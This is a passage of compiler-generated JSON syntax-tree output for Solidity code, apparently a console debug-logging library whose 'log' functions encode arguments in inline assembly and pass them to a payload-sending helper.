eIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34900,"mutability":"mutable","name":"p2","nameLocation":"37537:2:22","nodeType":"VariableDeclaration","scope":34923,"src":"37529:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34899,"name":"uint256","nodeType":"ElementaryTypeName","src":"37529:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"37510:30:22"},"returnParameters":{"id":34902,"nodeType":"ParameterList","parameters":[],"src":"37555:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34958,"nodeType":"FunctionDefinition","src":"38156:1200:22","nodes":[],"body":{"id":34957,"nodeType":"Block","src":"38213:1143:22","nodes":[],"statements":[{"assignments":[34933],"declarations":[{"constant":false,"id":34933,"mutability":"mutable","name":"m0","nameLocation":"38231:2:22","nodeType":"VariableDeclaration","scope":34957,"src":"38223:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34932,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38223:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34934,"nodeType":"VariableDeclarationStatement","src":"38223:10:22"},{"assignments":[34936],"declarations":[{"constant":false,"id":34936,"mutability":"mutable","name":"m1","nameLocation":"38251:2:22","nodeType":"VariableDeclaration","scope":34957,"src":"38243:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34935,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38243:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34937,"nodeType":"VariableDeclarationStatement","src":"38243:10:22"},{"assignments":[34939],"declarations":[{"constant":false,"id":34939,"mutability":"mutable","name":"m2","nameLocation":"38271:2:22","nodeType":"VariableDeclaration","scope":34957,"src":"38263:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34938,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38263:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34940,"nodeType":"VariableDeclarationStatement","src":"38263:10:22"},{"assignments":[34942],"declarations":[{"constant":false,"id":34942,"mutability":"mutable","name":"m3","nameLocation":"38291:2:22","nodeType":"VariableDeclaration","scope":34957,"src":"38283:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34941,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38283:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34943,"nodeType":"VariableDeclarationStatement","src":"38283:10:22"},{"assignments":[34945],"declarations":[{"constant":false,"id":34945,"mutability":"mutable","name":"m4","nameLocation":"38311:2:22","nodeType":"VariableDeclaration","scope":34957,"src":"38303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34944,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34946,"nodeType":"VariableDeclarationStatement","src":"38303:10:22"},{"assignments":[34948],"declarations":[{"constant":false,"id":34948,"mutability":"mutable","name":"m5","nameLocation":"38331:2:22","nodeType":"VariableDeclaration","scope":34957,"src":"38323:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34947,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38323:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34949,"nodeType":"VariableDeclarationStatement","src":"38323:10:22"},{"AST":{"nativeSrc":"38352:758:22","nodeType":"YulBlock","src":"38352:758:22","statements":[{"body":{"nativeSrc":"38395:313:22","nodeType":"YulBlock","src":"38395:313:22","statements":[{"nativeSrc":"38413:15:22","nodeType":"YulVariableDeclaration","src":"38413:15:22","value":{"kind":"number","nativeSrc":"38427:1:22","nodeType":"YulLiteral","src":"38427:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"38417:6:22","nodeType":"YulTypedName","src":"38417:6:22","type":""}]},{"body":{"nativeSrc":"38498:40:22","nodeType":"YulBlock","src":"38498:40:22","statements":[{"body":{"nativeSrc":"38527:9:22","nodeType":"YulBlock","src":"38527:9:22","statements":[{"nativeSrc":"38529:5:22","nodeType":"YulBreak","src":"38529:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"38515:6:22","nodeType":"YulIdentifier","src":"38515:6:22"},{"name":"w","nativeSrc":"38523:1:22","nodeType":"YulIdentifier","src":"38523:1:22"}],"functionName":{"name":"byte","nativeSrc":"38510:4:22","nodeType":"YulIdentifier","src":"38510:4:22"},"nativeSrc":"38510:15:22","nodeType":"YulFunctionCall","src":"38510:15:22"}],"functionName":{"name":"iszero","nativeSrc":"38503:6:22","nodeType":"YulIdentifier","src":"38503:6:22"},"nativeSrc":"38503:23:22","nodeType":"YulFunctionCall","src":"38503:23:22"},"nativeSrc":"38500:36:22","nodeType":"YulIf","src":"38500:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"38455:6:22","nodeType":"YulIdentifier","src":"38455:6:22"},{"kind":"number","nativeSrc":"38463:4:22","nodeType":"YulLiteral","src":"38463:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"38452:2:22","nodeType":"YulIdentifier","src":"38452:2:22"},"nativeSrc":"38452:16:22","nodeType":"YulFunctionCall","src":"38452:16:22"},"nativeSrc":"38445:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"38469:28:22","nodeType":"YulBlock","src":"38469:28:22","statements":[{"nativeSrc":"38471:24:22","nodeType":"YulAssignment","src":"38471:24:22","value":{"arguments":[{"name":"length","nativeSrc":"38485:6:22","nodeType":"YulIdentifier","src":"38485:6:22"},{"kind":"number","nativeSrc":"38493:1:22","nodeType":"YulLiteral","src":"38493:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"38481:3:22","nodeType":"YulIdentifier","src":"38481:3:22"},"nativeSrc":"38481:14:22","nodeType":"YulFunctionCall","src":"38481:14:22"},"variableNames":[{"name":"length","nativeSrc":"38471:6:22","nodeType":"YulIdentifier","src":"38471:6:22"}]}]},"pre":{"nativeSrc":"38449:2:22","nodeType":"YulBlock","src":"38449:2:22","statements":[]},"src":"38445:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"38562:3:22","nodeType":"YulIdentifier","src":"38562:3:22"},{"name":"length","nativeSrc":"38567:6:22","nodeType":"YulIdentifier","src":"38567:6:22"}],"functionName":{"name":"mstore","nativeSrc":"38555:6:22","nodeType":"YulIdentifier","src":"38555:6:22"},"nativeSrc":"38555:19:22","nodeType":"YulFunctionCall","src":"38555:19:22"},"nativeSrc":"38555:19:22","nodeType":"YulExpressionStatement","src":"38555:19:22"},{"nativeSrc":"38591:37:22","nodeType":"YulVariableDeclaration","src":"38591:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"38608:3:22","nodeType":"YulLiteral","src":"38608:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"38617:1:22","nodeType":"YulLiteral","src":"38617:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"38620:6:22","nodeType":"YulIdentifier","src":"38620:6:22"}],"functionName":{"name":"shl","nativeSrc":"38613:3:22","nodeType":"YulIdentifier","src":"38613:3:22"},"nativeSrc":"38613:14:22","nodeType":"YulFunctionCall","src":"38613:14:22"}],"functionName":{"name":"sub","nativeSrc":"38604:3:22","nodeType":"YulIdentifier","src":"38604:3:22"},"nativeSrc":"38604:24:22","nodeType":"YulFunctionCall","src":"38604:24:22"},"variables":[{"name":"shift","nativeSrc":"38595:5:22","nodeType":"YulTypedName","src":"38595:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"38656:3:22","nodeType":"YulIdentifier","src":"38656:3:22"},{"kind":"number","nativeSrc":"38661:4:22","nodeType":"YulLiteral","src":"38661:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"38652:3:22","nodeType":"YulIdentifier","src":"38652:3:22"},"nativeSrc":"38652:14:22","nodeType":"YulFunctionCall","src":"38652:14:22"},{"arguments":[{"name":"shift","nativeSrc":"38672:5:22","nodeType":"YulIdentifier","src":"38672:5:22"},{"arguments":[{"name":"shift","nativeSrc":"38683:5:22","nodeType":"YulIdentifier","src":"38683:5:22"},{"name":"w","nativeSrc":"38690:1:22","nodeType":"YulIdentifier","src":"38690:1:22"}],"functionName":{"name":"shr","nativeSrc":"38679:3:22","nodeType":"YulIdentifier","src":"38679:3:22"},"nativeSrc":"38679:13:22","nodeType":"YulFunctionCall","src":"38679:13:22"}],"functionName":{"name":"shl","nativeSrc":"38668:3:22","nodeType":"YulIdentifier","src":"38668:3:22"},"nativeSrc":"38668:25:22","nodeType":"YulFunctionCall","src":"38668:25:22"}],"functionName":{"name":"mstore","nativeSrc":"38645:6:22","nodeType":"YulIdentifier","src":"38645:6:22"},"nativeSrc":"38645:49:22","nodeType":"YulFunctionCall","src":"38645:49:22"},"nativeSrc":"38645:49:22","nodeType":"YulExpressionStatement","src":"38645:49:22"}]},"name":"writeString","nativeSrc":"38366:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"38387:3:22","nodeType":"YulTypedName","src":"38387:3:22","type":""},{"name":"w","nativeSrc":"38392:1:22","nodeType":"YulTypedName","src":"38392:1:22","type":""}],"src":"38366:342:22"},{"nativeSrc":"38721:17:22","nodeType":"YulAssignment","src":"38721:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"38733:4:22","nodeType":"YulLiteral","src":"38733:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"38727:5:22","nodeType":"YulIdentifier","src":"38727:5:22"},"nativeSrc":"38727:11:22","nodeType":"YulFunctionCall","src":"38727:11:22"},"variableNames":[{"name":"m0","nativeSrc":"38721:2:22","nodeType":"YulIdentifier","src":"38721:2:22"}]},{"nativeSrc":"38751:17:22","nodeType":"YulAssignment","src":"38751:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"38763:4:22","nodeType":"YulLiteral","src":"38763:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"38757:5:22","nodeType":"YulIdentifier","src":"38757:5:22"},"nativeSrc":"38757:11:22","nodeType":"YulFunctionCall","src":"38757:11:22"},"variableNames":[{"name":"m1","nativeSrc":"38751:2:22","nodeType":"YulIdentifier","src":"38751:2:22"}]},{"nativeSrc":"38781:17:22","nodeType":"YulAssignment","src":"38781:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"38793:4:22","nodeType":"YulLiteral","src":"38793:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"38787:5:22","nodeType":"YulIdentifier","src":"38787:5:22"},"nativeSrc":"38787:11:22","nodeType":"YulFunctionCall","src":"38787:11:22"},"variableNames":[{"name":"m2","nativeSrc":"38781:2:22","nodeType":"YulIdentifier","src":"38781:2:22"}]},{"nativeSrc":"38811:17:22","nodeType":"YulAssignment","src":"38811:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"38823:4:22","nodeType":"YulLiteral","src":"38823:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"38817:5:22","nodeType":"YulIdentifier","src":"38817:5:22"},"nativeSrc":"38817:11:22","nodeType":"YulFunctionCall","src":"38817:11:22"},"variableNames":[{"name":"m3","nativeSrc":"38811:2:22","nodeType":"YulIdentifier","src":"38811:2:22"}]},{"nativeSrc":"38841:17:22","nodeType":"YulAssignment","src":"38841:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"38853:4:22","nodeType":"YulLiteral","src":"38853:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"38847:5:22","nodeType":"YulIdentifier","src":"38847:5:22"},"nativeSrc":"38847:11:22","nodeType":"YulFunctionCall","src":"38847:11:22"},"variableNames":[{"name":"m4","nativeSrc":"38841:2:22","nodeType":"YulIdentifier","src":"38841:2:22"}]},{"nativeSrc":"38871:17:22","nodeType":"YulAssignment","src":"38871:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"38883:4:22","nodeType":"YulLiteral","src":"38883:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"38877:5:22","nodeType":"YulIdentifier","src":"38877:5:22"},"nativeSrc":"38877:11:22","nodeType":"YulFunctionCall","src":"38877:11:22"},"variableNames":[{"name":"m5","nativeSrc":"38871:2:22","nodeType":"YulIdentifier","src":"38871:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"38960:4:22","nodeType":"YulLiteral","src":"38960:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"38966:10:22","nodeType":"YulLiteral","src":"38966:10:22","type":"","value":"0x2555fa46"}],"functionName":{"name":"mstore","nativeSrc":"38953:6:22","nodeType":"YulIdentifier","src":"38953:6:22"},"nativeSrc":"38953:24:22","nodeType":"YulFunctionCall","src":"38953:24:22"},"nativeSrc":"38953:24:22","nodeType":"YulExpressionStatement","src":"38953:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"38997:4:22","nodeType":"YulLiteral","src":"38997:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"39003:2:22","nodeType":"YulIdentifier","src":"39003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"38990:6:22","nodeType":"YulIdentifier","src":"38990:6:22"},"nativeSrc":"38990:16:22","nodeType":"YulFunctionCall","src":"38990:16:22"},"nativeSrc":"38990:16:22","nodeType":"YulExpressionStatement","src":"38990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39026:4:22","nodeType":"YulLiteral","src":"39026:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"39032:2:22","nodeType":"YulIdentifier","src":"39032:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39019:6:22","nodeType":"YulIdentifier","src":"39019:6:22"},"nativeSrc":"39019:16:22","nodeType":"YulFunctionCall","src":"39019:16:22"},"nativeSrc":"39019:16:22","nodeType":"YulExpressionStatement","src":"39019:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39055:4:22","nodeType":"YulLiteral","src":"39055:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"39061:4:22","nodeType":"YulLiteral","src":"39061:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"39048:6:22","nodeType":"YulIdentifier","src":"39048:6:22"},"nativeSrc":"39048:18:22","nodeType":"YulFunctionCall","src":"39048:18:22"},"nativeSrc":"39048:18:22","nodeType":"YulExpressionStatement","src":"39048:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39091:4:22","nodeType":"YulLiteral","src":"39091:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"39097:2:22","nodeType":"YulIdentifier","src":"39097:2:22"}],"functionName":{"name":"writeString","nativeSrc":"39079:11:22","nodeType":"YulIdentifier","src":"39079:11:22"},"nativeSrc":"39079:21:22","nodeType":"YulFunctionCall","src":"39079:21:22"},"nativeSrc":"39079:21:22","nodeType":"YulExpressionStatement","src":"39079:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34933,"isOffset":false,"isSlot":false,"src":"38721:2:22","valueSize":1},{"declaration":34936,"isOffset":false,"isSlot":false,"src":"38751:2:22","valueSize":1},{"declaration":34939,"isOffset":false,"isSlot":false,"src":"38781:2:22","valueSize":1},{"declaration":34942,"isOffset":false,"isSlot":false,"src":"38811:2:22","valueSize":1},{"declaration":34945,"isOffset":false,"isSlot":false,"src":"38841:2:22","valueSize":1},{"declaration":34948,"isOffset":false,"isSlot":false,"src":"38871:2:22","valueSize":1},{"declaration":34925,"isOffset":false,"isSlot":false,"src":"39003:2:22","valueSize":1},{"declaration":34927,"isOffset":false,"isSlot":false,"src":"39032:2:22","valueSize":1},{"declaration":34929,"isOffset":false,"isSlot":false,"src":"39097:2:22","valueSize":1}],"id":34950,"nodeType":"InlineAssembly","src":"38343:767:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34952,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"39135:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34953,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"39141:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34951,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"39119:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34954,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39119:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34955,"nodeType":"ExpressionStatement","src":"39119:27:22"},{"AST":{"nativeSrc":"39165:185:22","nodeType":"YulBlock","src":"39165:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"39186:4:22","nodeType":"YulLiteral","src":"39186:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"39192:2:22","nodeType":"YulIdentifier","src":"39192:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39179:6:22","nodeType":"YulIdentifier","src":"39179:6:22"},"nativeSrc":"39179:16:22","nodeType":"YulFunctionCall","src":"39179:16:22"},"nativeSrc":"39179:16:22","nodeType":"YulExpressionStatement","src":"39179:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39215:4:22","nodeType":"YulLiteral","src":"39215:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"39221:2:22","nodeType":"YulIdentifier","src":"39221:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39208:6:22","nodeType":"YulIdentifier","src":"39208:6:22"},"nativeSrc":"39208:16:22","nodeType":"YulFunctionCall","src":"39208:16:22"},"nativeSrc":"39208:16:22","nodeType":"YulExpressionStatement","src":"39208:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39244:4:22","nodeType":"YulLiteral","src":"39244:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"39250:2:22","nodeType":"YulIdentifier","src":"39250:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39237:6:22","nodeType":"YulIdentifier","src":"39237:6:22"},"nativeSrc":"39237:16:22","nodeType":"YulFunctionCall","src":"39237:16:22"},"nativeSrc":"39237:16:22","nodeType":"YulExpressionStatement","src":"39237:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39273:4:22","nodeType":"YulLiteral","src":"39273:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"39279:2:22","nodeType":"YulIdentifier","src":"39279:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39266:6:22","nodeType":"YulIdentifier","src":"39266:6:22"},"nativeSrc":"39266:16:22","nodeType":"YulFunctionCall","src":"39266:16:22"},"nativeSrc":"39266:16:22","nodeType":"YulExpressionStatement","src":"39266:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39302:4:22","nodeType":"YulLiteral","src":"39302:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"39308:2:22","nodeType":"YulIdentifier","src":"39308:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39295:6:22","nodeType":"YulIdentifier","src":"39295:6:22"},"nativeSrc":"39295:16:22","nodeType":"YulFunctionCall","src":"39295:16:22"},"nativeSrc":"39295:16:22","nodeType":"YulExpressionStatement","src":"39295:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39331:4:22","nodeType":"YulLiteral","src":"39331:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"39337:2:22","nodeType":"YulIdentifier","src":"39337:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39324:6:22","nodeType":"YulIdentifier","src":"39324:6:22"},"nativeSrc":"39324:16:22","nodeType":"YulFunctionCall","src":"39324:16:22"},"nativeSrc":"39324:16:22","nodeType":"YulExpressionStatement","src":"39324:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34933,"isOffset":false,"isSlot":false,"src":"39192:2:22","valueSize":1},{"declaration":34936,"isOffset":false,"isSlot":false,"src":"39221:2:22","valueSize":1},{"declaration":34939,"isOffset":false,"isSlot":false,"src":"39250:2:22","valueSize":1},{"declaration":34942,"isOffset":false,"isSlot":false,"src":"39279:2:22","valueSize":1},{"declaration":34945,"isOffset":false,"isSlot":false,"src":"39308:2:22","valueSize":1},{"declaration":34948,"isOffset":false,"isSlot":false,"src":"39337:2:22","valueSize":1}],"id":34956,"nodeType":"InlineAssembly","src":"39156:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"38165:3:22","parameters":{"id":34930,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34925,"mutability":"mutable","name":"p0","nameLocation":"38174:2:22","nodeType":"VariableDeclaration","scope":34958,"src":"38169:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34924,"name":"bool","nodeType":"ElementaryTypeName","src":"38169:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34927,"mutability":"mutable","name":"p1","nameLocation":"38183:2:22","nodeType":"VariableDeclaration","scope":34958,"src":"38178:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34926,"name":"bool","nodeType":"ElementaryTypeName","src":"38178:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34929,"mutability":"mutable","name":"p2","nameLocation":"38195:2:22","nodeType":"VariableDeclaration","scope":34958,"src":"38187:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34928,"name":"bytes32","nodeType":"ElementaryTypeName","src":"38187:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"38168:30:22"},"returnParameters":{"id":34931,"nodeType":"ParameterList","parameters":[],"src":"38213:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34987,"nodeType":"FunctionDefinition","src":"39362:658:22","nodes":[],"body":{"id":34986,"nodeType":"Block","src":"39422:598:22","nodes":[],"statements":[{"assignments":[34968],"declarations":[{"constant":false,"id":34968,"mutability":"mutable","name":"m0","nameLocation":"39440:2:22","nodeType":"VariableDeclaration","scope":34986,"src":"39432:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34967,"name":"bytes32","nodeType":"ElementaryTypeName","src":"39432:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34969,"nodeType":"VariableDeclarationStatement","src":"39432:10:22"},{"assignments":[34971],"declarations":[{"constant":false,"id":34971,"mutability":"mutable","name":"m1","nameLocation":"39460:2:22","nodeType":"VariableDeclaration","scope":34986,"src":"39452:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34970,"name":"bytes32","nodeType":"ElementaryTypeName","src":"39452:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34972,"nodeType":"VariableDeclarationStatement","src":"39452:10:22"},{"assignments":[34974],"declarations":[{"constant":false,"id":34974,"mutability":"mutable","name":"m2","nameLocation":"39480:2:22","nodeType":"VariableDeclaration","scope":34986,"src":"39472:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34973,"name":"bytes32","nodeType":"ElementaryTypeName","src":"39472:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34975,"nodeType":"VariableDeclarationStatement","src":"39472:10:22"},{"assignments":[34977],"declarations":[{"constant":false,"id":34977,"mutability":"mutable","name":"m3","nameLocation":"39500:2:22","nodeType":"VariableDeclaration","scope":34986,"src":"39492:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34976,"name":"bytes32","nodeType":"ElementaryTypeName","src":"39492:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34978,"nodeType":"VariableDeclarationStatement","src":"39492:10:22"},{"AST":{"nativeSrc":"39521:311:22","nodeType":"YulBlock","src":"39521:311:22","statements":[{"nativeSrc":"39535:17:22","nodeType":"YulAssignment","src":"39535:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"39547:4:22","nodeType":"YulLiteral","src":"39547:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"39541:5:22","nodeType":"YulIdentifier","src":"39541:5:22"},"nativeSrc":"39541:11:22","nodeType":"YulFunctionCall","src":"39541:11:22"},"variableNames":[{"name":"m0","nativeSrc":"39535:2:22","nodeType":"YulIdentifier","src":"39535:2:22"}]},{"nativeSrc":"39565:17:22","nodeType":"YulAssignment","src":"39565:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"39577:4:22","nodeType":"YulLiteral","src":"39577:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"39571:5:22","nodeType":"YulIdentifier","src":"39571:5:22"},"nativeSrc":"39571:11:22","nodeType":"YulFunctionCall","src":"39571:11:22"},"variableNames":[{"name":"m1","nativeSrc":"39565:2:22","nodeType":"YulIdentifier","src":"39565:2:22"}]},{"nativeSrc":"39595:17:22","nodeType":"YulAssignment","src":"39595:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"39607:4:22","nodeType":"YulLiteral","src":"39607:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"39601:5:22","nodeType":"YulIdentifier","src":"39601:5:22"},"nativeSrc":"39601:11:22","nodeType":"YulFunctionCall","src":"39601:11:22"},"variableNames":[{"name":"m2","nativeSrc":"39595:2:22","nodeType":"YulIdentifier","src":"39595:2:22"}]},{"nativeSrc":"39625:17:22","nodeType":"YulAssignment","src":"39625:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"39637:4:22","nodeType":"YulLiteral","src":"39637:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"39631:5:22","nodeType":"YulIdentifier","src":"39631:5:22"},"nativeSrc":"39631:11:22","nodeType":"YulFunctionCall","src":"39631:11:22"},"variableNames":[{"name":"m3","nativeSrc":"39625:2:22","nodeType":"YulIdentifier","src":"39625:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39718:4:22","nodeType":"YulLiteral","src":"39718:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"39724:10:22","nodeType":"YulLiteral","src":"39724:10:22","type":"","value":"0x088ef9d2"}],"functionName":{"name":"mstore","nativeSrc":"39711:6:22","nodeType":"YulIdentifier","src":"39711:6:22"},"nativeSrc":"39711:24:22","nodeType":"YulFunctionCall","src":"39711:24:22"},"nativeSrc":"39711:24:22","nodeType":"YulExpressionStatement","src":"39711:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39755:4:22","nodeType":"YulLiteral","src":"39755:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"39761:2:22","nodeType":"YulIdentifier","src":"39761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39748:6:22","nodeType":"YulIdentifier","src":"39748:6:22"},"nativeSrc":"39748:16:22","nodeType":"YulFunctionCall","src":"39748:16:22"},"nativeSrc":"39748:16:22","nodeType":"YulExpressionStatement","src":"39748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39784:4:22","nodeType":"YulLiteral","src":"39784:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"39790:2:22","nodeType":"YulIdentifier","src":"39790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39777:6:22","nodeType":"YulIdentifier","src":"39777:6:22"},"nativeSrc":"39777:16:22","nodeType":"YulFunctionCall","src":"39777:16:22"},"nativeSrc":"39777:16:22","nodeType":"YulExpressionStatement","src":"39777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39813:4:22","nodeType":"YulLiteral","src":"39813:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"39819:2:22","nodeType":"YulIdentifier","src":"39819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39806:6:22","nodeType":"YulIdentifier","s